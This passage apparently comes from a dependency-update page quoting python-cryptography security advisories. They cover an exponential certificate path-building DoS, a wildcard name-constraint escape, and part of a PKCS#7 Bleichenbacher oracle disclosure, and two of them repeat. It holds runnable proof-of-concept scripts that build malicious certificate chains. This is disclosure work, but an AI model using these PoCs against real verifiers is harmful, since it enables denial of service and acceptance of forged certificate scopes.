          The finding was identified primarily by the Codex coding agent, and manually
          reviewed before submission. \n\n##### Details\nThe core issue arises in
          the recursive nature of `build_chain_inner`, which does not de-duplicate
          against previously analyzed candidates.\n\n```python\n    fn build_chain_inner(\n
          \       &self,\n        working_cert: &VerificationCertificate<'chain, B>,\n
          \       current_depth: u8,\n        working_cert_extensions: &Extensions<'chain>,\n
          \       name_chain: NameChain<'_, 'chain>,\n        budget: &mut Budget,\n
          \   ) -> ValidationResult<'chain, Chain<'chain, B>, B> {\n        if let
          Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID)
          {\n            name_chain.evaluate_constraints(&nc.value()?, budget)?;\n
          \       }\n\n        // Look in the store's root set to see if the working
          cert is listed.\n        // If it is, we've reached the end.\n        if
          self.store.contains(working_cert) {\n            return Ok(vec![working_cert.clone()]);\n
          \       }\n\n        // Check that our current depth does not exceed our
          policy-configured\n        // max depth. We do this after the root set check,
          since the depth\n        // only measures the intermediate chain's length,
          not the root or leaf.\n        if current_depth > self.policy.max_chain_depth
          {\n            return Err(ValidationError::new(ValidationErrorKind::Other(\n
          \               \"chain construction exceeds max depth\".into(),\n            )));\n
          \       }\n\n        // Otherwise, we collect a list of potential issuers
          for this cert,\n        // and continue with the first that verifies.\n
          \       let mut last_err: Option<ValidationError<'_, B>> = None;\n        for
          issuing_cert_candidate in self.potential_issuers(working_cert) {\n            //
          A candidate issuer is said to verify if it both\n            // signs for
          the working certificate and conforms to the\n            // policy.\n            let
          issuer_extensions = issuing_cert_candidate.certificate().extensions()?;\n
          \           match self.policy.valid_issuer(\n                issuing_cert_candidate,\n
          \               working_cert,\n                current_depth,\n                &issuer_extensions,\n
          \           ) {\n                Ok(_) => {\n                    match self.build_chain_inner(\n```\n\nA
          sufficient patch is to track valid issuers, and to skip seen ones before
          recursing. By tracking valid issuers only, validation and custom extension-policy
          callbacks still run.\n\n```rust\n          let mut seen_valid_issuers =
          Vec::<&VerificationCertificate<'chain, B>>::new();\n          for issuing_cert_candidate
          in self.potential_issuers(working_cert) {\n          . . .\n                  Ok(_)
          => {\n                      if seen_valid_issuers.contains(&issuing_cert_candidate)
          {\n                         continue;\n                      }\n                      seen_valid_issuers.push(issuing_cert_candidate);\n
          \n                      match self.build_chain_inner(\n                          issuing_cert_candidate,\n
          \                         // NOTE(ww): According to RFC 5280, we should
          only\n```\n\nIn testing, this fix removed the exponential blowup without
          breaking apparent correctness. \n\n```\nduplicates,max_depth,result,seconds\n1,7,rejected,0.000464
          -> 1,7,rejected,0.000667\n2,7,rejected,0.025154 -> 2,7,rejected,0.001229\n3,7,rejected,0.489924
          -> 3,7,rejected,0.001619 \n4,7,rejected,4.309403 -> 4,7,rejected,0.002144\n3,8,rejected,1.468193
          -> 3,8,rejected,0.001811\n4,8,timeout>5s,       -> 4,8,rejected,0.002410\n5,7,timeout>5s,
          \      -> 5,7,rejected,0.002640\n6,6,timeout>5s,       -> 6,6,rejected,0.002829\n```\n\n#####
          PoC\nThe following script benchmarks processing times for malicious cert
          chains.\n\n```python\nimport datetime\nimport multiprocessing\nimport time\n\nimport
          cryptography\nfrom cryptography import x509\nfrom cryptography.hazmat.primitives
          import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom
          cryptography.x509.oid import ExtendedKeyUsageOID, NameOID\nfrom cryptography.x509.verification
          import (\n    DNSName,\n    PolicyBuilder,\n    Store,\n    VerificationError,\n)\n\nNOW
          = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)\nTIMEOUT =
          5\nCA_KEY_USAGE = x509.KeyUsage(\n    digital_signature=True,\n    content_commitment=False,\n
          \   key_encipherment=False,\n    data_encipherment=False,\n    key_agreement=False,\n
          \   key_cert_sign=True,\n    crl_sign=True,\n    encipher_only=False,\n
          \   decipher_only=False,\n)\nEE_KEY_USAGE = x509.KeyUsage(\n    digital_signature=True,\n
          \   content_commitment=False,\n    key_encipherment=False,\n    data_encipherment=False,\n
          \   key_agreement=False,\n    key_cert_sign=False,\n    crl_sign=False,\n
          \   encipher_only=False,\n    decipher_only=False,\n)\n\ndef name(common_name):\n
          \   return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])\n\ndef
          base_builder(subject, issuer, public_key, serial):\n    return (\n        x509.CertificateBuilder()\n
          \       .subject_name(subject)\n        .issuer_name(issuer)\n        .public_key(public_key)\n
          \       .serial_number(serial)\n        .not_valid_before(NOW - datetime.timedelta(days=1))\n
          \       .not_valid_after(NOW + datetime.timedelta(days=30))\n    )\n\ndef
          make_ca(common_name, serial):\n    private_key = ec.generate_private_key(ec.SECP256R1())\n
          \   subject = name(common_name)\n    cert = (\n        base_builder(subject,
          subject, private_key.public_key(), serial)\n        .add_extension(x509.BasicConstraints(ca=True,
          path_length=None), True)\n        .add_extension(CA_KEY_USAGE, True)\n        .add_extension(\n
          \           x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),\n
          \           False,\n        )\n        .sign(private_key, hashes.SHA256())\n
          \   )\n    return private_key, cert\n\ndef make_leaf(issuer_key, issuer_cert):\n
          \   private_key = ec.generate_private_key(ec.SECP256R1())\n    return (\n
          \       base_builder(name(\"leaf\"), issuer_cert.subject, private_key.public_key(),
          100)\n        .add_extension(x509.BasicConstraints(ca=False, path_length=None),
          True)\n        .add_extension(EE_KEY_USAGE, True)\n        .add_extension(x509.SubjectAlternativeName([x509.DNSName(\"example.com\")]),
          False)\n        .add_extension(\n            x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),\n
          \           False,\n        )\n        .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]),
          False)\n        .sign(issuer_key, hashes.SHA256())\n    )\n\ndef build_material():\n
          \   looping_key, looping_ca = make_ca(\"looping self-signed CA\", 1)\n    _,
          unrelated_root = make_ca(\"unrelated trust anchor\", 2)\n    leaf = make_leaf(looping_key,
          looping_ca)\n    return leaf, looping_ca, unrelated_root\n\ndef verify_case(duplicates,
          max_depth, queue):\n    leaf, looping_ca, unrelated_root = build_material()\n
          \   verifier = (\n        PolicyBuilder()\n        .store(Store([unrelated_root]))\n
          \       .time(NOW)\n        .max_chain_depth(max_depth)\n        .build_server_verifier(DNSName(\"example.com\"))\n
          \   )\n\n    start = time.perf_counter()\n    try:\n        verifier.verify(leaf,
          [looping_ca] * duplicates)\n        result = \"accepted\"\n    except VerificationError:\n
          \       result = \"rejected\"\n    queue.put((result, time.perf_counter()
          - start))\n\ndef run_case(duplicates, max_depth):\n    queue = multiprocessing.Queue()\n
          \   process = multiprocessing.Process(\n        target=verify_case,\n        args=(duplicates,
          max_depth, queue),\n    )\n    process.start()\n    process.join(TIMEOUT)\n\n
          \   if process.is_alive():\n        process.terminate()\n        process.join()\n
          \       print(f\"{duplicates},{max_depth},timeout>{TIMEOUT}s,\")\n        return\n\n
          \   result, elapsed = queue.get()\n    print(f\"{duplicates},{max_depth},{result},{elapsed:.6f}\")\n\nif
          __name__ == \"__main__\":\n    print(\"duplicates,max_depth,result,seconds\")\n
          \   for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7),
          (6, 6)]:\n        run_case(*case)\n```\n\n##### Impact\nThis issue exposes
          an amplification pathway over data that in many applications may be user-controlled,
          leading to the possibility of a denial of service through resource exhaustion.
          As the correctness of validation is not affected, the integrity of a system
          cannot be compromised through this vector, only its availability.\n\n####
          Severity\n- CVSS Score: 8.7 / 10 (High)\n- Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww)\n-
          [https://github.com/pyca/cryptography/pull/14960](https://redirect.github.com/pyca/cryptography/pull/14960)\n-
          [https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582](https://redirect.github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582)\n-
          [https://github.com/pyca/cryptography](https://redirect.github.com/pyca/cryptography)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-jwv3-5hgf-82ww)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          python-cryptography verifier accepts wildcard DNS names allowing escape
          from permittedSubtrees\n[CVE-2026-69248](https://nvd.nist.gov/vuln/detail/CVE-2026-69248)
          / [GHSA-m2h6-j472-rp4c](https://redirect.github.com/advisories/GHSA-m2h6-j472-rp4c)
          / PYSEC-2026-3554\n\n<details>\n<summary>More information</summary>\n\n####
          Details\n##### Summary\nIf an intermediate constrained CA permits the DNS
          name `foo.example.com`, and the leaf certificate has a wildcard in its DNS
          SAN of `*.example.com`, python-cryptography's verifier accepts which allows
          escaping outside of the permitted names.\n\n##### PoC\n\n```\n\n#!/usr/bin/env
          python3\n\"\"\"Standalone PoC: pyca's DNSConstraint::matches admits a too-broad
          wildcard SAN.\n\nSetup:\n  Sub-CA permitted constraint: dNSName = foo.example.com\n
          \ Leaf SAN:                    dNSName = *.example.com\nExpected: rejection
          (RFC 5280 \xA74.2.1.10 + standard wildcard semantics).\nObserved: pyca accepts;
          further, asks server-verifier whether the leaf is\nauthoritative for `bar.example.com`
          and pyca answers yes \u2014 a sub-CA scope\nescape.\n\"\"\"\nimport datetime\nfrom
          cryptography import x509\nfrom cryptography.x509.oid import NameOID\nfrom
          cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric
          import ec\nfrom cryptography.x509.verification import (\n    PolicyBuilder,
          Store, ExtensionPolicy, Criticality, VerificationError,\n)\n\nnow = datetime.datetime(2027,
          1, 1, tzinfo=datetime.timezone.utc)\nday = datetime.timedelta(days=1)\n\ndef
          build(subject, issuer, key, issuer_key, ca, exts=()):\n    b = (x509.CertificateBuilder()\n
          \        .subject_name(subject).issuer_name(issuer)\n         .public_key(key.public_key())\n
          \        .serial_number(x509.random_serial_number())\n         .not_valid_before(now
          - 30 * day)\n         .not_valid_after(now + 3650 * day)\n         .add_extension(x509.BasicConstraints(ca=ca,
          path_length=None), critical=True))\n    for e, c in exts:\n        b = b.add_extension(e,
          c)\n    return b.sign(issuer_key, hashes.SHA256())\n\n##### Root\nrk = ec.generate_private_key(ec.SECP256R1())\nrn
          = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Test Root\")])\nroot
          = build(rn, rn, rk, rk, True)\n\n##### Sub-CA constrained to foo.example.com\nsk
          = ec.generate_private_key(ec.SECP256R1())\nsn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,
          \"Sub-CA\")])\nnc = x509.NameConstraints(\n    permitted_subtrees=[x509.DNSName(\"foo.example.com\")],\n
          \   excluded_subtrees=None,\n)\nsub = build(sn, rn, sk, rk, True, [(nc,
          True)])\n\n##### Leaf with SAN *.example.com (over-broad relative to the
          constraint)\nlk = ec.generate_private_key(ec.SECP256R1())\nln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,
          \"Leaf\")])\nsan = x509.SubjectAlternativeName([x509.DNSName(\"*.example.com\")])\nleaf
          = build(ln, sn, lk, sk, False, [(san, False)])\n\n##### Policies\nca_pol
          = ExtensionPolicy.permit_all().require_present(\n    x509.BasicConstraints,
          Criticality.AGNOSTIC, None,\n)\nee_pol = ExtensionPolicy.permit_all().require_present(\n
          \   x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,\n)\nv = (\n
          \   PolicyBuilder()\n    .store(Store([root]))\n    .time(now)\n    .extension_policies(ca_policy=ca_pol,
          ee_policy=ee_pol)\n    .build_server_verifier(x509.DNSName(\"bar.example.com\"))\n)\ntry:\n
          \   v.verify(leaf, [sub])\n    print(\"BUG: pyca trusted leaf as bar.example.com
          though sub-CA was constrained to foo.example.com\")\nexcept VerificationError
          as e:\n    print(f\"EXPECTED: VerificationError: {e}\")\n```\n\n##### Impact\n\nAcceptance
          of invalid certificate chain.\n\n#### Severity\n- CVSS Score: 6.9 / 10 (Medium)\n-
          Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c)\n-
          [https://github.com/pyca/cryptography/pull/14888](https://redirect.github.com/pyca/cryptography/pull/14888)\n-
          [https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2](https://redirect.github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2)\n-
          [https://github.com/pyca/cryptography](https://redirect.github.com/pyca/cryptography)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-m2h6-j472-rp4c)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          python-cryptography: Duplicate self-signed intermediates can cause exponential
          path-building\n[CVE-2026-69249](https://nvd.nist.gov/vuln/detail/CVE-2026-69249)
          / [GHSA-jwv3-5hgf-82ww](https://redirect.github.com/advisories/GHSA-jwv3-5hgf-82ww)
          / PYSEC-2026-3553\n\n<details>\n<summary>More information</summary>\n\n####
          Details\n##### Summary\nWhen resolving invalid certificate chains that include
          duplicate copies of self-signed certificates, the processing recursively
          invokes the same candidate, leading to an exponential blowup. Although the
          limitation that the chain depth cannot exceed a specified maximum depth
          prevents unbounded recursion and guarantees termination, an attacker-controlled
          certificate chain can lead the processing to easily take more than 5s to
          reject in testing. This amplification could form the basis for a resource
          exhaustion denial of service attack.\n\nThis work was completed by Trail
          of Bits as part of the Patch The Planet project in collaboration with OpenAI.
          The finding was identified primarily by the Codex coding agent, and manually
          reviewed before submission. \n\n##### Details\nThe core issue arises in
          the recursive nature of `build_chain_inner`, which does not de-duplicate
          against previously analyzed candidates.\n\n```python\n    fn build_chain_inner(\n
          \       &self,\n        working_cert: &VerificationCertificate<'chain, B>,\n
          \       current_depth: u8,\n        working_cert_extensions: &Extensions<'chain>,\n
          \       name_chain: NameChain<'_, 'chain>,\n        budget: &mut Budget,\n
          \   ) -> ValidationResult<'chain, Chain<'chain, B>, B> {\n        if let
          Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID)
          {\n            name_chain.evaluate_constraints(&nc.value()?, budget)?;\n
          \       }\n\n        // Look in the store's root set to see if the working
          cert is listed.\n        // If it is, we've reached the end.\n        if
          self.store.contains(working_cert) {\n            return Ok(vec![working_cert.clone()]);\n
          \       }\n\n        // Check that our current depth does not exceed our
          policy-configured\n        // max depth. We do this after the root set check,
          since the depth\n        // only measures the intermediate chain's length,
          not the root or leaf.\n        if current_depth > self.policy.max_chain_depth
          {\n            return Err(ValidationError::new(ValidationErrorKind::Other(\n
          \               \"chain construction exceeds max depth\".into(),\n            )));\n
          \       }\n\n        // Otherwise, we collect a list of potential issuers
          for this cert,\n        // and continue with the first that verifies.\n
          \       let mut last_err: Option<ValidationError<'_, B>> = None;\n        for
          issuing_cert_candidate in self.potential_issuers(working_cert) {\n            //
          A candidate issuer is said to verify if it both\n            // signs for
          the working certificate and conforms to the\n            // policy.\n            let
          issuer_extensions = issuing_cert_candidate.certificate().extensions()?;\n
          \           match self.policy.valid_issuer(\n                issuing_cert_candidate,\n
          \               working_cert,\n                current_depth,\n                &issuer_extensions,\n
          \           ) {\n                Ok(_) => {\n                    match self.build_chain_inner(\n```\n\nA
          sufficient patch is to track valid issuers, and to skip seen ones before
          recursing. By tracking valid issuers only, validation and custom extension-policy
          callbacks still run.\n\n```rust\n          let mut seen_valid_issuers =
          Vec::<&VerificationCertificate<'chain, B>>::new();\n          for issuing_cert_candidate
          in self.potential_issuers(working_cert) {\n          . . .\n                  Ok(_)
          => {\n                      if seen_valid_issuers.contains(&issuing_cert_candidate)
          {\n                         continue;\n                      }\n                      seen_valid_issuers.push(issuing_cert_candidate);\n
          \n                      match self.build_chain_inner(\n                          issuing_cert_candidate,\n
          \                         // NOTE(ww): According to RFC 5280, we should
          only\n```\n\nIn testing, this fix removed the exponential blowup without
          breaking apparent correctness. \n\n```\nduplicates,max_depth,result,seconds\n1,7,rejected,0.000464
          -> 1,7,rejected,0.000667\n2,7,rejected,0.025154 -> 2,7,rejected,0.001229\n3,7,rejected,0.489924
          -> 3,7,rejected,0.001619 \n4,7,rejected,4.309403 -> 4,7,rejected,0.002144\n3,8,rejected,1.468193
          -> 3,8,rejected,0.001811\n4,8,timeout>5s,       -> 4,8,rejected,0.002410\n5,7,timeout>5s,
          \      -> 5,7,rejected,0.002640\n6,6,timeout>5s,       -> 6,6,rejected,0.002829\n```\n\n#####
          PoC\nThe following script benchmarks processing times for malicious cert
          chains.\n\n```python\nimport datetime\nimport multiprocessing\nimport time\n\nimport
          cryptography\nfrom cryptography import x509\nfrom cryptography.hazmat.primitives
          import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom
          cryptography.x509.oid import ExtendedKeyUsageOID, NameOID\nfrom cryptography.x509.verification
          import (\n    DNSName,\n    PolicyBuilder,\n    Store,\n    VerificationError,\n)\n\nNOW
          = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)\nTIMEOUT =
          5\nCA_KEY_USAGE = x509.KeyUsage(\n    digital_signature=True,\n    content_commitment=False,\n
          \   key_encipherment=False,\n    data_encipherment=False,\n    key_agreement=False,\n
          \   key_cert_sign=True,\n    crl_sign=True,\n    encipher_only=False,\n
          \   decipher_only=False,\n)\nEE_KEY_USAGE = x509.KeyUsage(\n    digital_signature=True,\n
          \   content_commitment=False,\n    key_encipherment=False,\n    data_encipherment=False,\n
          \   key_agreement=False,\n    key_cert_sign=False,\n    crl_sign=False,\n
          \   encipher_only=False,\n    decipher_only=False,\n)\n\ndef name(common_name):\n
          \   return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])\n\ndef
          base_builder(subject, issuer, public_key, serial):\n    return (\n        x509.CertificateBuilder()\n
          \       .subject_name(subject)\n        .issuer_name(issuer)\n        .public_key(public_key)\n
          \       .serial_number(serial)\n        .not_valid_before(NOW - datetime.timedelta(days=1))\n
          \       .not_valid_after(NOW + datetime.timedelta(days=30))\n    )\n\ndef
          make_ca(common_name, serial):\n    private_key = ec.generate_private_key(ec.SECP256R1())\n
          \   subject = name(common_name)\n    cert = (\n        base_builder(subject,
          subject, private_key.public_key(), serial)\n        .add_extension(x509.BasicConstraints(ca=True,
          path_length=None), True)\n        .add_extension(CA_KEY_USAGE, True)\n        .add_extension(\n
          \           x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),\n
          \           False,\n        )\n        .sign(private_key, hashes.SHA256())\n
          \   )\n    return private_key, cert\n\ndef make_leaf(issuer_key, issuer_cert):\n
          \   private_key = ec.generate_private_key(ec.SECP256R1())\n    return (\n
          \       base_builder(name(\"leaf\"), issuer_cert.subject, private_key.public_key(),
          100)\n        .add_extension(x509.BasicConstraints(ca=False, path_length=None),
          True)\n        .add_extension(EE_KEY_USAGE, True)\n        .add_extension(x509.SubjectAlternativeName([x509.DNSName(\"example.com\")]),
          False)\n        .add_extension(\n            x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),\n
          \           False,\n        )\n        .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]),
          False)\n        .sign(issuer_key, hashes.SHA256())\n    )\n\ndef build_material():\n
          \   looping_key, looping_ca = make_ca(\"looping self-signed CA\", 1)\n    _,
          unrelated_root = make_ca(\"unrelated trust anchor\", 2)\n    leaf = make_leaf(looping_key,
          looping_ca)\n    return leaf, looping_ca, unrelated_root\n\ndef verify_case(duplicates,
          max_depth, queue):\n    leaf, looping_ca, unrelated_root = build_material()\n
          \   verifier = (\n        PolicyBuilder()\n        .store(Store([unrelated_root]))\n
          \       .time(NOW)\n        .max_chain_depth(max_depth)\n        .build_server_verifier(DNSName(\"example.com\"))\n
          \   )\n\n    start = time.perf_counter()\n    try:\n        verifier.verify(leaf,
          [looping_ca] * duplicates)\n        result = \"accepted\"\n    except VerificationError:\n
          \       result = \"rejected\"\n    queue.put((result, time.perf_counter()
          - start))\n\ndef run_case(duplicates, max_depth):\n    queue = multiprocessing.Queue()\n
          \   process = multiprocessing.Process(\n        target=verify_case,\n        args=(duplicates,
          max_depth, queue),\n    )\n    process.start()\n    process.join(TIMEOUT)\n\n
          \   if process.is_alive():\n        process.terminate()\n        process.join()\n
          \       print(f\"{duplicates},{max_depth},timeout>{TIMEOUT}s,\")\n        return\n\n
          \   result, elapsed = queue.get()\n    print(f\"{duplicates},{max_depth},{result},{elapsed:.6f}\")\n\nif
          __name__ == \"__main__\":\n    print(\"duplicates,max_depth,result,seconds\")\n
          \   for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7),
          (6, 6)]:\n        run_case(*case)\n```\n\n##### Impact\nThis issue exposes
          an amplification pathway over data that in many applications may be user-controlled,
          leading to the possibility of a denial of service through resource exhaustion.
          As the correctness of validation is not affected, the integrity of a system
          cannot be compromised through this vector, only its availability.\n\n####
          Severity\n- CVSS Score: 8.7 / 10 (High)\n- Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww)\n-
          [https://github.com/pyca/cryptography/pull/14960](https://redirect.github.com/pyca/cryptography/pull/14960)\n-
          [https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582](https://redirect.github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582)\n-
          [https://github.com/pyca/cryptography](https://redirect.github.com/pyca/cryptography)\n-
          [https://pypi.org/project/cryptography](https://pypi.org/project/cryptography)\n-
          [https://github.com/advisories/GHSA-jwv3-5hgf-82ww](https://redirect.github.com/advisories/GHSA-jwv3-5hgf-82ww)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-69249](https://nvd.nist.gov/vuln/detail/CVE-2026-69249)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3553)
          and the [PyPI Advisory Database](https://redirect.github.com/pypa/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)).\n</details>\n\n---\n\n###
          python-cryptography verifier accepts wildcard DNS names allowing escape
          from permittedSubtrees\n[CVE-2026-69248](https://nvd.nist.gov/vuln/detail/CVE-2026-69248)
          / [GHSA-m2h6-j472-rp4c](https://redirect.github.com/advisories/GHSA-m2h6-j472-rp4c)
          / PYSEC-2026-3554\n\n<details>\n<summary>More information</summary>\n\n####
          Details\n##### Summary\nIf an intermediate constrained CA permits the DNS
          name `foo.example.com`, and the leaf certificate has a wildcard in its DNS
          SAN of `*.example.com`, python-cryptography's verifier accepts which allows
          escaping outside of the permitted names.\n\n##### PoC\n\n```\n\n#!/usr/bin/env
          python3\n\"\"\"Standalone PoC: pyca's DNSConstraint::matches admits a too-broad
          wildcard SAN.\n\nSetup:\n  Sub-CA permitted constraint: dNSName = foo.example.com\n
          \ Leaf SAN:                    dNSName = *.example.com\nExpected: rejection
          (RFC 5280 \xA74.2.1.10 + standard wildcard semantics).\nObserved: pyca accepts;
          further, asks server-verifier whether the leaf is\nauthoritative for `bar.example.com`
          and pyca answers yes \u2014 a sub-CA scope\nescape.\n\"\"\"\nimport datetime\nfrom
          cryptography import x509\nfrom cryptography.x509.oid import NameOID\nfrom
          cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric
          import ec\nfrom cryptography.x509.verification import (\n    PolicyBuilder,
          Store, ExtensionPolicy, Criticality, VerificationError,\n)\n\nnow = datetime.datetime(2027,
          1, 1, tzinfo=datetime.timezone.utc)\nday = datetime.timedelta(days=1)\n\ndef
          build(subject, issuer, key, issuer_key, ca, exts=()):\n    b = (x509.CertificateBuilder()\n
          \        .subject_name(subject).issuer_name(issuer)\n         .public_key(key.public_key())\n
          \        .serial_number(x509.random_serial_number())\n         .not_valid_before(now
          - 30 * day)\n         .not_valid_after(now + 3650 * day)\n         .add_extension(x509.BasicConstraints(ca=ca,
          path_length=None), critical=True))\n    for e, c in exts:\n        b = b.add_extension(e,
          c)\n    return b.sign(issuer_key, hashes.SHA256())\n\n##### Root\nrk = ec.generate_private_key(ec.SECP256R1())\nrn
          = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Test Root\")])\nroot
          = build(rn, rn, rk, rk, True)\n\n##### Sub-CA constrained to foo.example.com\nsk
          = ec.generate_private_key(ec.SECP256R1())\nsn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,
          \"Sub-CA\")])\nnc = x509.NameConstraints(\n    permitted_subtrees=[x509.DNSName(\"foo.example.com\")],\n
          \   excluded_subtrees=None,\n)\nsub = build(sn, rn, sk, rk, True, [(nc,
          True)])\n\n##### Leaf with SAN *.example.com (over-broad relative to the
          constraint)\nlk = ec.generate_private_key(ec.SECP256R1())\nln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,
          \"Leaf\")])\nsan = x509.SubjectAlternativeName([x509.DNSName(\"*.example.com\")])\nleaf
          = build(ln, sn, lk, sk, False, [(san, False)])\n\n##### Policies\nca_pol
          = ExtensionPolicy.permit_all().require_present(\n    x509.BasicConstraints,
          Criticality.AGNOSTIC, None,\n)\nee_pol = ExtensionPolicy.permit_all().require_present(\n
          \   x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,\n)\nv = (\n
          \   PolicyBuilder()\n    .store(Store([root]))\n    .time(now)\n    .extension_policies(ca_policy=ca_pol,
          ee_policy=ee_pol)\n    .build_server_verifier(x509.DNSName(\"bar.example.com\"))\n)\ntry:\n
          \   v.verify(leaf, [sub])\n    print(\"BUG: pyca trusted leaf as bar.example.com
          though sub-CA was constrained to foo.example.com\")\nexcept VerificationError
          as e:\n    print(f\"EXPECTED: VerificationError: {e}\")\n```\n\n##### Impact\n\nAcceptance
          of invalid certificate chain.\n\n#### Severity\n- CVSS Score: 6.9 / 10 (Medium)\n-
          Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c)\n-
          [https://github.com/pyca/cryptography/pull/14888](https://redirect.github.com/pyca/cryptography/pull/14888)\n-
          [https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2](https://redirect.github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2)\n-
          [https://github.com/pyca/cryptography](https://redirect.github.com/pyca/cryptography)\n-
          [https://pypi.org/project/cryptography](https://pypi.org/project/cryptography)\n-
          [https://github.com/advisories/GHSA-m2h6-j472-rp4c](https://redirect.github.com/advisories/GHSA-m2h6-j472-rp4c)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-69248](https://nvd.nist.gov/vuln/detail/CVE-2026-69248)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3554)
          and the [PyPI Advisory Database](https://redirect.github.com/pypa/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)).\n</details>\n\n---\n\n###
          cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle
          through distinguishable errors and timing\n[CVE-2026-69247](https://nvd.nist.gov/vuln/detail/CVE-2026-69247)
          / [GHSA-g6cj-pr64-35w5](https://redirect.github.com/advisories/GHSA-g6cj-pr64-35w5)
          / PYSEC-2026-3552\n\n<details>\n<summary>More information</summary>\n\n####
          Details\n##### Summary\n\n`pkcs7_decrypt_der`, `pkcs7_decrypt_pem`, and
          `pkcs7_decrypt_smime` reported the\noutcome of decrypting a `RecipientInfo`'s
          `encryptedKey` in several\ndistinguishable ways, one of which disclosed
          the exact length recovered from the\nRSA operation. The same distinction
          was also observable by timing. An\napplication that decrypts attacker-supplied
          `EnvelopedData` and reflects the\noutcome gives the attacker a Bleichenbacher
          oracle against the\ncontent-encryption key.\n\nIntroduced in 44.0.0. Fixed
          in 50.0.0.\n\n##### Details\n\nDecryption ran as: RSA PKCS#1 v1.5 decrypt
          of `encryptedKey` \u2192 build an AES\ncipher from the result \u2192 AES-CBC
          decrypt and PKCS#7 unpad. Each stage failed\ndifferently, with no RFC 3218
          mitigation:\n\n1. invalid RSA padding \u2192 `Decryption failed`\n2. valid
          padding, bad key length \u2192 `Invalid key size (N) for AES.`, disclosing
          `N`\n3. correct length, wrong key \u2192 `Invalid padding bytes.`\n4. the
          real key \u2192 plaintext\n\nCase 1 is reachable only where the linked library
          lacks implicit rejection:\nOpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL.
          On OpenSSL 3.2+, used in our wheels,\ninvalid padding instead returns a
          synthetic plaintext of\npseudorandom length, so the error channel does not
          distinguish conforming\nciphertexts.\n\nExploitation requires a service
          that auto-decrypts untrusted `EnvelopedData`\nmatching the victim certificate
          and answers adaptively at high volume, such as\nan S/MIME gateway or mail
